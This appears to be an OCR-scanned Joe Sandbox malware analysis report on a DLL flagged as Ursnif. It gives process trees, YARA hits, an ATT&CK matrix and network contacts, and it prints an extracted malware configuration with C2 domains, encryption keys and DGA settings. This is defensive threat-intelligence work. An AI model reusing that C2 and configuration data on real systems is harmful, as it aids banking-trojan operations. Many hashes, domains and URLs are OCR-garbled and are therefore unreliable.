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Windows Analysis Report c9.dll

Overview

General Information Detection Signatures Classification
Sample co.dll ﬁ 3

mALICIOUS

Analysis ID: 498883

MD5: €9cd971a083303..

SHAL: 25fc199dbb5a7c0.

SHA256: 96defach7096fc8..

Tags: dil

Infos:

ORI ,
Uses 32bit: PE files:
Most interesting Screenshot:

May/sleep)(evasivelloops) to hinder
88

(
Range: 0-100 Queries thelinstallation date of: Wini
X Detected potentiallcryptolfunction
Confidence: 100%

Score:

Writes or. reads registry keys via WMI
Writes registry values via WMI

Contains functionality'te'guery/locale::

Whitelisted: false
Contains functionality to/guery, CPU
JAB SSL client fingerprint seeniinico

Uses code abftiscation techniguesi(:.

Process Tree

= System is w10x64

o [ loaddl32.exe (PID: 5048 cmdline: loaddll32.exe 'C:\Users\user\Desktop\c9.dIl' MD5: 72FCD8FBOADC38ED9050569AD673650E)

-

.
o m

- @

.

. D rundll32.exe (PID: 1576 cmdline: rundll32.exe C:\Users\user\Desktop\c9.dll,DlIRegisterServer MD5: D7CA562B0DB4F4DD0OF03A89A1FDAD63D)

i
-

= cleanup

cmd.exe (PID: 6032 cmdline: cmd.exe /C rundll32.exe ‘C:\Users\user\Desktop\c9.dIl' #1 MD5: F3BDBE3BB6F734E357235F4D5898582D)
D rundll32.exe (PID: 5876 cmdline: rundll32.exe 'C:\Users\user\Desktop\c9.dIl' #1 MD5: D7CA562B0DB4F4DDOF03A89A1FDAD6G3D)
regsvr32.exe (PID: 6044 cmdline: regsvr32.exe /s C:\Users\user\Desktop\c9.dll MD5: 426E7499F6A7346F0410DEAD0805586B)
iexplore.exe (PID: 5868 cmdline: C:\Program Files\Internet Explorer\iexplore.exe MD5: 6465CB92B25A7BC1DF8E01D8AC5E7596)

@ iexplore.exe (PID: 6180 cmdline: ‘C:\Program Files (x86)\Internet ExplorelEXPLORE.EXE' SCODEF:5868 CREDAT:17410 /prefetch:2 MD5:

071277CC2E3DF41EEEA8013E2AB58D5A)

@ iexplore.exe (PID: 6072 cmdline: ‘C:\Program Files (x86)\Internet ExplorelEXPLORE.EXE' SCODEF:5868 CREDAT:82962 /prefetch:2 MD5:

071277CC2E3DF41EEEA8013E2AB58D5A)

@ iexplore.exe (PID: 1704 cmdline: 'C:\Program Files (x86)\Internet ExplorelEXPLORE.EXE' SCODEF:5868 CREDAT:82970 /prefetch:2 MD5:

071277CC2E3DF41EEEA8013E2AB58D5A)

@ iexplore.exe (PID: 4488 cmdline: 'C:\Program Files (x86)\Internet ExplorelEXPLORE.EXE' SCODEF:5868 CREDAT:17424 /prefetch:2 MD5:

071277CC2E3DF41EEEA8013E2AB58D5A)

@ iexplore.exe (PID: 6528 cmdline: ‘C:\Program Files (x86)\Internet ExplorelEXPLORE.EXE' SCODEF:5868 CREDAT:17436 /prefetch:2 MD5:

071277CC2E3DF41EEEA8013E2AB58D5A)

rundlI32.exe (PID: 6296 cmdline: rundll32.exe C:\Users\user\Desktop\c9.dll,Voicetest MD5: D7CA562B0DB4F4DDOF03A89A1FDADG3D)
rundlI32.exe (PID: 6436 cmdline: rundll32.exe C:\Users\user\Desktop\c9.dll,Writtendesign MD5: D7CA562B0DB4F4DDOF03A89A1FDADG3D)

Malware Configuration

Threatname: Ursnif

Copyright Joe Security LLC 2021
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"lang_id": "RU, CN",
"RSA Public Key":

"sNCxDve8MsvqadlVNgvrqkriMiBxogjVDx1pm1sFsq4WSz4qQxcIltY8VfWo8VsoI23mmMdPi/UOBDHcesqvOuSg2A2wl6c7IgyFwuaQwy2G9IIPgbTWDud8pc5Fsai30R1GbIX1qq6BhxmpAbEGAENYL 04G5cYGPIwt8UnONiZjp+ebv

Wtx01BxUdWz4B4wWb",
"c2_domain": [
"api10. laptok.at/apil1”,
"golang. feel500.at/apil1”,
"go.1n100k.at/apil1"
1,
"botnet": "3300",
"server": "730",
"serpent_key": "xQzYvi50PXgru2nT",
"sleep_time": "10",
"CONF_TIMEOUT": "20",
"SetWaitableTimer_value": "0",
"dga_base_url": "constitution.org/usdeclar.txt",
"dga_tld": "com ru org",
"DGA_count": "10"

Yara Overview

Memory Dumps

Source

00000006.00000003.494661342.0000000004A29000.00000
004.00000040.sdmp

00000003.00000003.522487862.0000000004AB9000.00000
004.00000040.sdmp

00000003.00000002.523734739.0000000005328000.00000
004.00000040.sdmp

00000006.00000003.488044357.00000000052F8000.00000
004.00000040.sdmp

00000003.00000003.522077972.0000000005328000.00000
004.00000040.sdmp

Unpacked PEs

Source
1.2.loaddlI32.exe.73200000.2.unpack

3.3.regsvr32.exe.452a253.0.raw.unpack
1.3.loaddlI32.exe.88a253.0.raw.unpack
1.2.loaddlI32.exe.28c94a0.1.raw.unpack

1.3.loaddlI32.exe.88a253.0.unpack

Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

g

Click to jump to signature section

AV Detection:

Copyright Joe Security LLC 2021

Rule

JoeSecurity_Ursnif_1

JoeSecurity_Ursnif_1

JoeSecurity_Ursnif

JoeSecurity_Ursnif

JoeSecurity_Ursnif

Description

Yara detected
Ursnif

Yara detected
Ursnif

Yara detected
Ursnif

Yara detected
Ursnif

Yara detected
Ursnif

Author

Joe Security

Joe Security

Joe Security

Joe Security

Joe Security

Click to see the 45 entries

Rule

JoeSecurity_Ursnif_1

JoeSecurity_Ursnif_1

JoeSecurity_Ursnif_1

JoeSecurity_Ursnif_1

JoeSecurity_Ursnif_1

Description

Yara detected
Ursnif

Yara detected
Ursnif

Yara detected
Ursnif

Yara detected
Ursnif

Yara detected
Ursnif

Author

Joe Security

Joe Security

Joe Security

Joe Security

Joe Security

Click to see the 20 entries

Strings

Strings
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Found malware configuration

Antivirus | Scanner detection for submitted sample

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected Ursnif

E-Banking Fraud:

Yara detected Ursnif

System Summary:

Writes or reads registry keys via WMI

Wirites registry values via WMI

Hooking and other Techniques for Hiding and Protection:

Yara detected Ursnif

Stealing of Sensitive Information:

Yara detected Ursnif

Remote Access Functionality:

Yara detected Ursnif

Mitre Att&ck Matrix

Initial Privilege Credential Lateral Command Networ
Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration and Control Effects
Valid Windows DLL Side-  Process Masquerading oS System Time Remote Archive Exfiltration Encrypted Eavesdi
Accounts Management Loading Injection Credential  Discovery Services Collected  Over Other Channel Insecurt
Instrumentation Dumping Data Network Network
Medium Commu
Default Scheduled Boot or DLL Side- Virtualization/Sandbox LSASS Query Registry Remote Data from  Exfiltration Ingress Tool Exploit !
Accounts Task/Job Logon Loading Evasion Memory Desktop Removable Over Transfer Redirec
Initialization Protocol Media Bluetooth Calls/SP
Scripts
Domain At (Linux) Logon Script Logon Script  Process Security Security Software SMB/Windows Data from Automated Non- Exploit ¢
Accounts (Windows)  (Windows) Injection Account Discovery Admin Shares Network Exfiltration  Application Track D
Manager Shared Layer Locatior
Drive Protocol 4
Local At (Windows) Logon Script Logon Script  Obfuscated Files or NTDS Virtualization/Sandbox Distributed Input Scheduled Application SIM Cal
Accounts (Mac) (Mac) Information Evasion Component Capture Transfer Layer Swap
Object Model Protocol
Cloud Cron Network Network Regsvr32 LSA Process Discovery SSH Keylogging Data Fallback Manipul
Accounts Logon Script Logon Script Secrets Transfer Channels Device
Size Limits Commu
Replication  Launchd Rc.common Rc.common  RundlI32 Cached Account Discovery VNC GUI Input  Exfiltration  Multiband Jammin
Through Domain Capture Over C2 Communication Denial ¢
Removable Credentials Channel Service
Media
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A https://vwvnw.msn.com/de-ch/ 7o p ~ @ ¢ || Search..

3 M5 Schweiz | Sign in Hot...

Microsoft tritt fiir den Schutz Ihrer Privatsphare ein.

Microsoft und unsere Drittanbieter verwenden Cookies, um Informationen wie eindeutige IDs zu speichern und darauf zuzugreifen,
sodass unsere Dienste und Werbeanzeigen bereitgs It, verwaltet und verbessert werden kénnen. Wenn Sie zustimmen,
personalisieren MSN die angezeigten Inhalte und Anzeigen. Sie kéinnen *Akzeptieren’ auswahlen, um dieser Verwendung
zuzustimmen, oder auf ‘Zwecke anzeigen' klicken, um Ihre Optionen zu Uberprifen. Sie kénnen Ihre Auswahl unter ‘Einstell
verwalten' unten auf dieser Seite andem. Datenschutzerkizrung.

Wir und unserer Partner verarbeiten Daten, um

prazise Geolokalisierungsdaten zu verwenden und aktiv Gerateeigenschaften zur Identifizierung zu scannen. Dies dient dazu,
Informationen auf einem Gerat zu speichemn und darauf zuzugreifen sowie personalisierte Anzeigen und Inhalte, Anzeigen- und
Inhaltsmessung, Einblicke in die Zielgruppe und Informationen zur Produktentwicklung bereitzustellen.

Akzep

Zwecke anzeigen

UYl TQDFIHPUIU

I

TQDFHPUIU TQDFIHPUIU

Type here to search

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner Label Link

Copyright Joe Security LLC 2021 Page 8 of 83



Source Detection Scanner Label Link

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

Source Detection Scanner Label Link
tls13.taboola.map.fastly.net 0% Virustotal Browse
prod.ups-eu-central-1.aolp-ds-prd.aws.oath.cloud 0% Virustotal Browse
a97adde81b00f2ca4.awsglobalaccelerator.com 0% Virustotal Browse
windowsupdate.s.llnwi.net 0% Virustotal Browse
URLs

Source Detection Scanner Label Link
http:ifhttps://onedrive.live.com;Fotos 0% AviraURL Cloud  safe
http://https://x.bidswitch.net/ul_cb/sync?ssp=medianet&gdpr=0&gdpr_consent=&gdpr_pd=1 0% Avira URL Cloud safe

http:ff 0% Avira URL Cloud safe
apil0.laptok.at/apil/vcAOO3WPGNQgQOgmMZF/_2FEMTJINH/erT8pAgL94iyg0QnSDs4/tF67e4iCqPFCwh

TeyrL/52

http:ff 0% Avira URL Cloud safe

apil0.laptok.at/apil/cjCx3CFNwvfHfzzFXMAZ{Sp/akD8HpiwLw/Xmf8SltrkZwiskxdD/LQqODg4H6EkbK/neh
UVbDEZih/YKDTsvTp3bYh8i/KréQeLqvadlsis9pFukgL/OMDZLo4EFNLTVIQB/mKd2X3KJYAV3yVi/tdKjp
4ktdyuYorXyBG/KNEUmM6r2X/1LVNKB3ak_2Bz2y79hi5/ldiw1qOdPKTHg5FPpv_/2FZINGmhONUug8aAo
8LNJZ/wnXLclCktJOE5/BE2wOKMW/QOYuG2fkU6GX4EAYMrqGuqg/isDTO90LCo/1CJIYfHIHGNONJOZ
ZW/INg_2B8t

http://https://img.img- 0% Avira URL Cloud safe
taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_f{ill%2Cg_faces:auto%2C
e_sharpen/http%3A%2F%2Fcdn.taboola.com%2Flibtrc%2Fstatic%2Fthumbnails%2F06ad29ca279ef6d1

a1d51484867ed930.jpg

http://https://btloader.com/tag?0=6208086025961472&upapi=true 0% URL Reputation safe
http://https://x.bidswitch.net/sync?ssp=medianet&gdpr=0&gdpr_consent=&gdpr_pd=1 0% Avira URL Cloud safe
http:ff 0% Avira URL Cloud safe

apil0.laptok.at/apil/vcAOO3WPGNQgQOgmZF/_2FEMTJINH/erT8pAgL94iyg0QnSDs4/tF67e4iCqPFCwh
TeyrL/52_2B_2BcPsTzSbd1lICdD/ZKNNF2cncA9XY/3_2BIi6C/HI1C6tOMyng3uLUQeGWT6J6/j_2BQqO
myJ/sgWrxLykMWFajBZ62/tiwu_2Bleg5Y/30Df0OkoCu30/inb_2Bah3KNqln/fEVEAIuh_2FgMWpEfxDKP/e
5bzrfbMyOWi_2Br/qr4SjrC797UY 1dW/_2FynXROO34PZ3JC62/akz42HCrt/_2B8jaBnhM_2F2ymPrmX/yp
s$30gw8ZnZS8JvDVQW/WFIuNMub/F

http://https://tools.applemediaservices.com/api/badges/download-on-the-app-store/black/de-de?" 0% URL Reputation safe

http://https://img.img- 0% Avira URL Cloud safe
taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_f{ill%2Cg_faces:auto%2C
e_sharpen/http%3A%2F%2Fcdn.taboola.com%2Flibtrc%2Fstatic%2Fthumbnails%2F229da042318840c2

bedb0d7d4a629da7.jpg

http:// 0% Avira URL Cloud  safe
apil0.laptok.at/apil/ksE8rF5AGsnIH/fbLwQ3Lg/XhcZ8P1h_2Bo0_2BrjHAua5/e46Fwl12wZ1/j1YBnIEVWM
TOHVp4T/_2FSBVel_2BD/MtuellzuDld/8eZOKx2Uzqu7_2/B_2BIcRwCeM2BicM_2BIQ/dnUyI3L91KPOS
GJF/REFJoC3NQRoXeRU/EUZgiBW5ykWplixdja/XweS77_2F/YWVjXghErokmvPqgxalGa/uF4H7dLvfoa5
0aEuK7a/9t8Dhet7EJ2ycRjwV5Nh_2/FACOKRS5tjq4Mj/G592BKqi/FIGVS]GAGKhK57Y20uTtOf7/wQ8JLE
s_2B/SWOdJq120vpP6_2Fy/QhV2Hdk6yUx_/2FiSux_2F/gXZMkf

http://https://onedrive.live.com;OneDrive-App 0% Avira URL Cloud safe

http://https://img.img- 0% Avira URL Cloud safe
taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:auto%2C
e_sharpen/http%3A%2F%2Fcdn.taboola.com%2Flibtrc%2Fstatic%2Fthumbnails%2F42912d3264942cf3

a1683ef85b453901.jpg

http:/fapil0.laptok.at/favicon.ico 0% Avira URL Cloud  safe
http:ff 0% Avira URL Cloud safe
api10.laptok.at/apil/cjCx3CFNwvfHfzzFXMAZfSp/akD8HpiwLw/Xmf8SItrkZwlskxdD/LQgODg4HBEKbK/N

http://https:/iwww.stroeer.com/fileadmin/com/StroeerDSP_deviceStorage.json 0% URL Reputation safe
http://https://img.img- 0% Avira URL Cloud safe

taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:auto%2C
e_sharpen/https%3A%2F%2Fconsole.brax-cdn.com%2Fcreatives%2Fe3c5e00c-8d4e-4ffb-9b76-
5a7¢81cdd776%2F77745de3383e60a935ce533068c740ef_1000x600_e4825edea4eb82408ffb2966288c9
72c.png

http:/f 0% Avira URL Cloud safe
apil0.laptok.at/apil/ksE8rF5AGsnIH/fbLwQ3Lg/XhcZ8P1h_2Bo0_2BriHAua5/e46Fw12wZ1/j1YBnIEVWM
TOHV

Copyright Joe Security LLC 2021 Page 9 of 83


https://www.virustotal.com/gui/url/34d7a5628cd38966e8a7512b50ed594ea59c1e81eb029dde41d339efc420d112/detection/u-34d7a5628cd38966e8a7512b50ed594ea59c1e81eb029dde41d339efc420d112-1630933000
https://www.virustotal.com/gui/url/689d412070b00dd0e07e7e7803407992310041651a07b1c34f6e09cf12bdbf6f/detection/u-689d412070b00dd0e07e7e7803407992310041651a07b1c34f6e09cf12bdbf6f-1630694282
https://www.virustotal.com/gui/url/658ca5ff25c86676f559844171f2a9962599d0d209e21abd97a9b742e2f05139/detection/u-658ca5ff25c86676f559844171f2a9962599d0d209e21abd97a9b742e2f05139-1632198378
https://www.virustotal.com/gui/url/e9ead58398684fdcc95d64b6c961f0141d53d5db6962bd7c071011864a4b3488/detection/u-e9ead58398684fdcc95d64b6c961f0141d53d5db6962bd7c071011864a4b3488-1632123172

Source

http://
apil0.laptok.at/apil/cjCx3CFNwvfHfzzFXMAZfSp/akD8HpiwLw/Xmf8SltrkZwlskxdD/LQq0Dg4H6kbK/neh
UVbDEZih/YkDTsvTp3bYb8i/Kr6QeLqgvadlsis9pFukgL/OMDZLo4EFNLTVIQB/mKd2X3KJYAV3yVi/tdKjp
4ktdyuYorXyBG/KNEUmM6r2X/1LVNKB3ak_2Bz2y79hi5/Idlw1qOdPKTHg5FPpv_/2FZINGmMhONUUKUFKf
kxwRB/hAGRbgGMkRsOW/Sja4JDzR/Typ_2FEqqGLQtFoEBaUfObX/k5DgE7Fqcl/ITzT4jdSj7c8BXUAG/
ZqSRTC99eEQu/fB3yRofhVGR/HGNIb

http:/fhttps://mem.gfx.ms/meversion/?partner=msn&market=de-ch"

Domains and IPs

Contacted Domains

Name P Active
pixel-origin.mathtag.com 185.29.132.241 true
dart.l.doubleclick.net 172.217.168.38 true
tls13.taboola.map.fastly.net 151.101.1.44 true
prod.ups-eu-central-1.aolp-ds-prd.aws.oath.cloud  18.184.201.8 true
a97adde81b00f2ca4.awsglobalaccelerator.com 76.223.111.131 true
windowsupdate.s.lInwi.net 178.79.242.128 true
ad-delivery.net 104.26.3.70 true
contextual.media.net 95.100.216.34 true
cs.media.net 95.100.216.34 true
elb-aws-fr-bruges-621602890.eu-central- 3.127.209.187 true
1.elb.amazonaws.com

cm.g.doubleclick.net 216.58.215.226 true
hblg.media.net 95.100.216.34 true
lg3.media.net 95.100.216.34 true
btloader.com 104.26.7.139 true
id.rlcdn.com 35.244.174.68 true
prod.ups-ats.eu-central-1.aolp-ds- 18.156.0.31 true

prd.aws.oath.cloud

geolocation.onetrust.com 104.20.185.68 true

Detection Scanner

0%

0%

Avira URL Cloud

URL Reputation

Malicious Antivirus Detection

false
false
false
false
false
false
false
false
false

false

false
false
false
false
false

false

false

e 0%, Virustotal, Browse
e 0%, Virustotal, Browse
e 0%, Virustotal, Browse

e 0%, Virustotal, Browse

Label Link

safe

safe

Reputation
high

high
unknown
unknown
unknown
unknown
unknown
high

high

high

high
high
high
unknown
high

unknown

high

x.bidswitch.net unknown unknown
WWWw.msn.com unknown unknown
ad.doubleclick.net unknown unknown
srtb.msn.com unknown unknown
ups.analytics.yahoo.com unknown unknown
img.img-taboola.com unknown unknown
web.vortex.data.msn.com unknown unknown
sync.mathtag.com unknown unknown
pixel.advertising.com unknown unknown
cvision.media.net unknown unknown
match.adsrvr.org unknown unknown
Contacted URLs

Name Malicious

http:i/https://x.bidswitch.net/ul_ch/sync?ssp=medianet&gdpr=0&gdpr_consent=&gdpr_pd=1  false

false
false
false
false
false
false
false
false
false
false

false

Antivirus Detection
e Avira URL Cloud: safe

unknown
high
high
high
high
unknown
high
high
high
high
high

Reputation

unknown

hitp://https://pixel.advertising.com/ups/58222/sync? false
_origin=1&uid=2766180096684126000V10&verify=true

http://https:/img.img- false
taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_face
s:auto%2Ce_sharpen/http%3A%2F%2Fcdn.taboola.com%2Flibtrc%2Fstatic%2Fthumbnails%
2F06ad29ca279ef6d1a1d51484867ed930.jpg

http:i/https://btloader.com/tag?0=6208086025961472&upapi=true false
http://https://match.adsrvr.org/track/cmb/generic?ttd_pid=8m33zk4&ttd_tpi=1 false
http://https://x.bidswitch.net/sync?ssp=medianet&gdpr=0&gdpr_consent=&gdpr_pd=1 false
http://https:/fid.ricdn.com/710489.gif false

Copyright Joe Security LLC 2021

e Avira URL Cloud: safe

e URL Reputation: safe

e Avira URL Cloud: safe

high

unknown

unknown
high
unknown

high
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https://www.virustotal.com/gui/url/34d7a5628cd38966e8a7512b50ed594ea59c1e81eb029dde41d339efc420d112/detection/u-34d7a5628cd38966e8a7512b50ed594ea59c1e81eb029dde41d339efc420d112-1630933000
https://www.virustotal.com/gui/url/689d412070b00dd0e07e7e7803407992310041651a07b1c34f6e09cf12bdbf6f/detection/u-689d412070b00dd0e07e7e7803407992310041651a07b1c34f6e09cf12bdbf6f-1630694282
https://www.virustotal.com/gui/url/658ca5ff25c86676f559844171f2a9962599d0d209e21abd97a9b742e2f05139/detection/u-658ca5ff25c86676f559844171f2a9962599d0d209e21abd97a9b742e2f05139-1632198378
https://www.virustotal.com/gui/url/e9ead58398684fdcc95d64b6c961f0141d53d5db6962bd7c071011864a4b3488/detection/u-e9ead58398684fdcc95d64b6c961f0141d53d5db6962bd7c071011864a4b3488-1632123172

Name Malicious Antivirus Detection Reputation

http://https://ad.doubleclick.net/favicon.ico? false high
ad=300x250&ad_box_=1&adnet=1&showad=1&size=250x250

http://https://ups.analytics.yahoo.com/ups/58222/sync? false high
_origin=1&uid=2766180096684126000V10

http://https://img.img- false e Avira URL Cloud: safe unknown
taboola.com/taboola/imagef/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_face
s:auto%2Ce_sharpen/http%3A%2F%2Fcdn.taboola.com%2Flibtrc%2Fstatic%2Fthumbnails%

2F229da042318840c2bedb0d7d4a629da7.jpg

http:i/https://geolocation.onetrust.com/cookieconsentpub/v1/geo/location false high

hitp://https://img.img- false e Avira URL Cloud: safe unknown
taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_face
s:auto%2Ce_sharpen/http%3A%2F%2Fcdn.taboola.com%2Flibtrc%2Fstatic%2Fthumbnails%

2F42912d3264942cf3a1683ef85b453901.jpg

http://https://match.adsrvr.org/track/cmf/generic?ttd_pid=8m33zk4&ttd_tpi=1 false high
http://https://pixel.advertising.com/ups/58222/sync? false high
_origin=1&uid=2766180096684126000V10

http://https://cm.g.doubleclick.net/pixel? false high

cs=1&google_nid=media&google_cm=1&google_hm=Mjc2NjEAMDAS5N]jY4ANDE3MzAWMFYx
MA%3D%3D&google_sc=1

http://https://img.img- false e Avira URL Cloud: safe unknown
taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_face
s:auto%2Ce_sharpen/https%3A%2F%2Fconsole.brax-cdn.com%2Fcreatives%2Fe3c5e00c-

8d4e-4ffb-9b76-

5a7¢81cdd776%2F77745de3383e60a935ce533068c740ef_1000x600_e4825edeadeb82408ffb2

966288c972c.png

http://https://ups.analytics.yahoo.com/ups/58222/sync? false high
_origin=1&uid=2766180096684126000V10&verify=true

URLs from Memory and Binaries

Contacted IPs

Public

P Domain Country Flag ASN ASN Name Malicious
104.26.3.70 ad-delivery.net United States = 13335 CLOUDFLARENETUS false
216.58.215.226 cm.g.doubleclick.net United States = 15169 GOOGLEUS false
3.127.209.187 elb-aws-fr-bruges- United States = 16509 AMAZON-02US false

621602890.eu-central-
1.elb.amazonaws.com

76.223.111.131 a97adde81b00f2cad.awsgl United States = 16509 AMAZON-02US false
obalaccelerator.com

151.101.1.44 tls13.taboola.map.fastly.ne United States £S5 54113 FASTLYUS false
t

104.26.7.139 btloader.com United States = 13335 CLOUDFLARENETUS false

104.20.185.68 geolocation.onetrust.com  United States £S5 13335 CLOUDFLARENETUS false

18.156.0.31 prod.ups-ats.eu-central- United States £S5 16509 AMAZON-02US false
1.aolp-ds-

prd.aws.oath.cloud

35.244.174.68 id.rlcdn.com United States 15169 GOOGLEUS false

18.184.201.8 prod.ups-eu-central-1.aolp- United States £S5 16509 AMAZON-02US false
ds-prd.aws.oath.cloud

172.217.168.38 dart.l.doubleclick.net United States = 15169 GOOGLEUS false
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P Domain

185.29.132.241

General Information

Joe Sandbox Version:
Analysis ID:

Start date:

Start time:

Joe Sandbox Product:
Overall analysis duration:
Hypervisor based Inspection enabled:
Report type:

Sample file name:
Cookbook file name:
Analysis system description:

Number of analysed new started processes
analysed:

Number of new started drivers analysed:
Number of existing processes analysed:
Number of existing drivers analysed:

Number of injected processes analysed:

Technologies:

Analysis Mode:
Analysis stop reason:
Detection:
Classification:

EGA Information:

HDC Information:

HCA Information:

Cookbook Comments:

Warnings:

Simulations

Behavior and APIs

No simulations

Joe Sandbox View | Context

IPs

pixel-origin.mathtag.com

Country Flag
United Kingdom ]

33.0.0 White Diamond

498883

07.10.2021

16:18:47

CloudBasic

Oh 12m 6s

false

light

co.dll

default.jbs

ASN
30419

ASN Name

Malicious

MEDIAMATH-INCUS false

Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211

45

o O o o

.
.
.
.

HCA enabled
EGA enabled
HDC enabled
AMSI enabled

default

Timeout

MAL

mal88.troj.winDLL@25/140@24/13

Failed

.

.

.

.

e o o o

Successful, ratio: 42.8% (good quality ratio 40.4%)

Quality average: 78.2%
Quality standard deviation: 29.3%
Successful, ratio: 77%

Number of executed functions: 0
Number of non-executed functions: 0

Adjust boot time
Enable AMSI

Found application associated with file extension: .dll

Override analysis time to 240s for rundlI32

Show All

Match Associated Sample Name / URL

Copyright Joe Security LLC 2021

SHA 256

Detection

Link

Context
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Match
104.26.3.70

Domains

Match

pixel-origin.mathtag.com

ASN

Match
CLOUDFLARENETUS

AMAZON-02US

Copyright Joe Security LLC 2021

SHA 256
Get hash

SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash

Get hash

Get hash
Get hash
Get hash

Get hash

SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash

Get hash

Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

> > >
3 ] [}
] 73 @
o o <]
Q, o, Q,
2 2 2
@ @ @
o -3 -
(7] [ [
o o o
3 3 3
=3 i -
o ® ®
=z 2 2
o o o
3 3 3
® ® ®
c c [=
a A a
[ [ [

Detection

malicious

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious

malicious

malicious
malicious

malicious

malicious

Detection
malicious
malicious
malicious
malicious

malicious

malicious
malicious
malicious
malicious

malicious

malicious

malicious
malicious
malicious
malicious

malicious

malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Link

Browse

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse

Browse

Browse
Browse

Browse

Browse

Link

Browse
Browse
Browse
Browse

Browse

Browse
Browse
Browse
Browse

Browse

Browse

Browse
Browse
Browse
Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Context

e mkklcdnvé
1.com/cdn-
cgi/styles
Imain.css

Context

e 185.29.132.241
e 185.29.134.244
e 185.29.132.245
e 185.29.134.244
e 185.29.132.245
e 185.29.132.68
e 185.29.133.52
e 185.29.133.52
e 185.29.133.208
e 185.29.132.68
e 185.29.133.52
e 185.29.132.68
e 185.29.133.58
e 185.29.135.226

e 185.29.135.42

e 185.29.135.42

e 185.29.133.58
e 185.29.133.52
e 185.29.135.227

e 185.29.132.30

Context

e 104.20.184.68
e 172.67.176.216
e 104.21.17.146
172.67.188.154

104.21.19.200

104.21.19.200

172.67.169.55

104.21.17.146

104.16.18.94

162.159.13
4.233

162.159.12
9.233

172.67.176.216

23.227.38.74

104.18.114.97

172.67.176.216

162.159.13
3.233

104.26.7.139

104.21.17.146

172.67.131.184

172.67.153.94

18.156.0.31

54.126.191.35

18.139.111.104

18.156.0.31
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https://view.joesandbox.com/analysis/224665/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/224665/html/none?idtype=webid
https://view.joesandbox.com/analysis/391924/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391924/html/none?idtype=webid
https://view.joesandbox.com/analysis/391743/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391743/html/none?idtype=webid
https://view.joesandbox.com/analysis/391433/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391433/html/none?idtype=webid
https://view.joesandbox.com/analysis/390899/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/390899/html/none?idtype=webid
https://view.joesandbox.com/analysis/365155/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/365155/html/none?idtype=webid
https://view.joesandbox.com/analysis/341405/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/341405/html/none?idtype=webid
https://view.joesandbox.com/analysis/339855/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/339855/html/none?idtype=webid
https://view.joesandbox.com/analysis/304695/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/304695/html/none?idtype=webid
https://view.joesandbox.com/analysis/283889/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/283889/html/none?idtype=webid
https://view.joesandbox.com/analysis/280164/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/280164/html/none?idtype=webid
https://view.joesandbox.com/analysis/274707/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/274707/html/none?idtype=webid
https://view.joesandbox.com/analysis/264873/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264873/html/none?idtype=webid
https://view.joesandbox.com/analysis/253203/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253203/html/none?idtype=webid
https://view.joesandbox.com/analysis/249215/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/249215/html/none?idtype=webid
https://view.joesandbox.com/analysis/248492/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/248492/html/none?idtype=webid
https://view.joesandbox.com/analysis/247276/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/247276/html/none?idtype=webid
https://view.joesandbox.com/analysis/247053/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/247053/html/none?idtype=webid
https://view.joesandbox.com/analysis/245875/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/245875/html/none?idtype=webid
https://view.joesandbox.com/analysis/245140/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/245140/html/none?idtype=webid
https://view.joesandbox.com/analysis/244937/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/244937/html/none?idtype=webid
https://view.joesandbox.com/analysis/392071/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/392071/html/none?idtype=webid
https://view.joesandbox.com/analysis/392067/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/392067/html/none?idtype=webid
https://view.joesandbox.com/analysis/392055/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/392055/html/none?idtype=webid
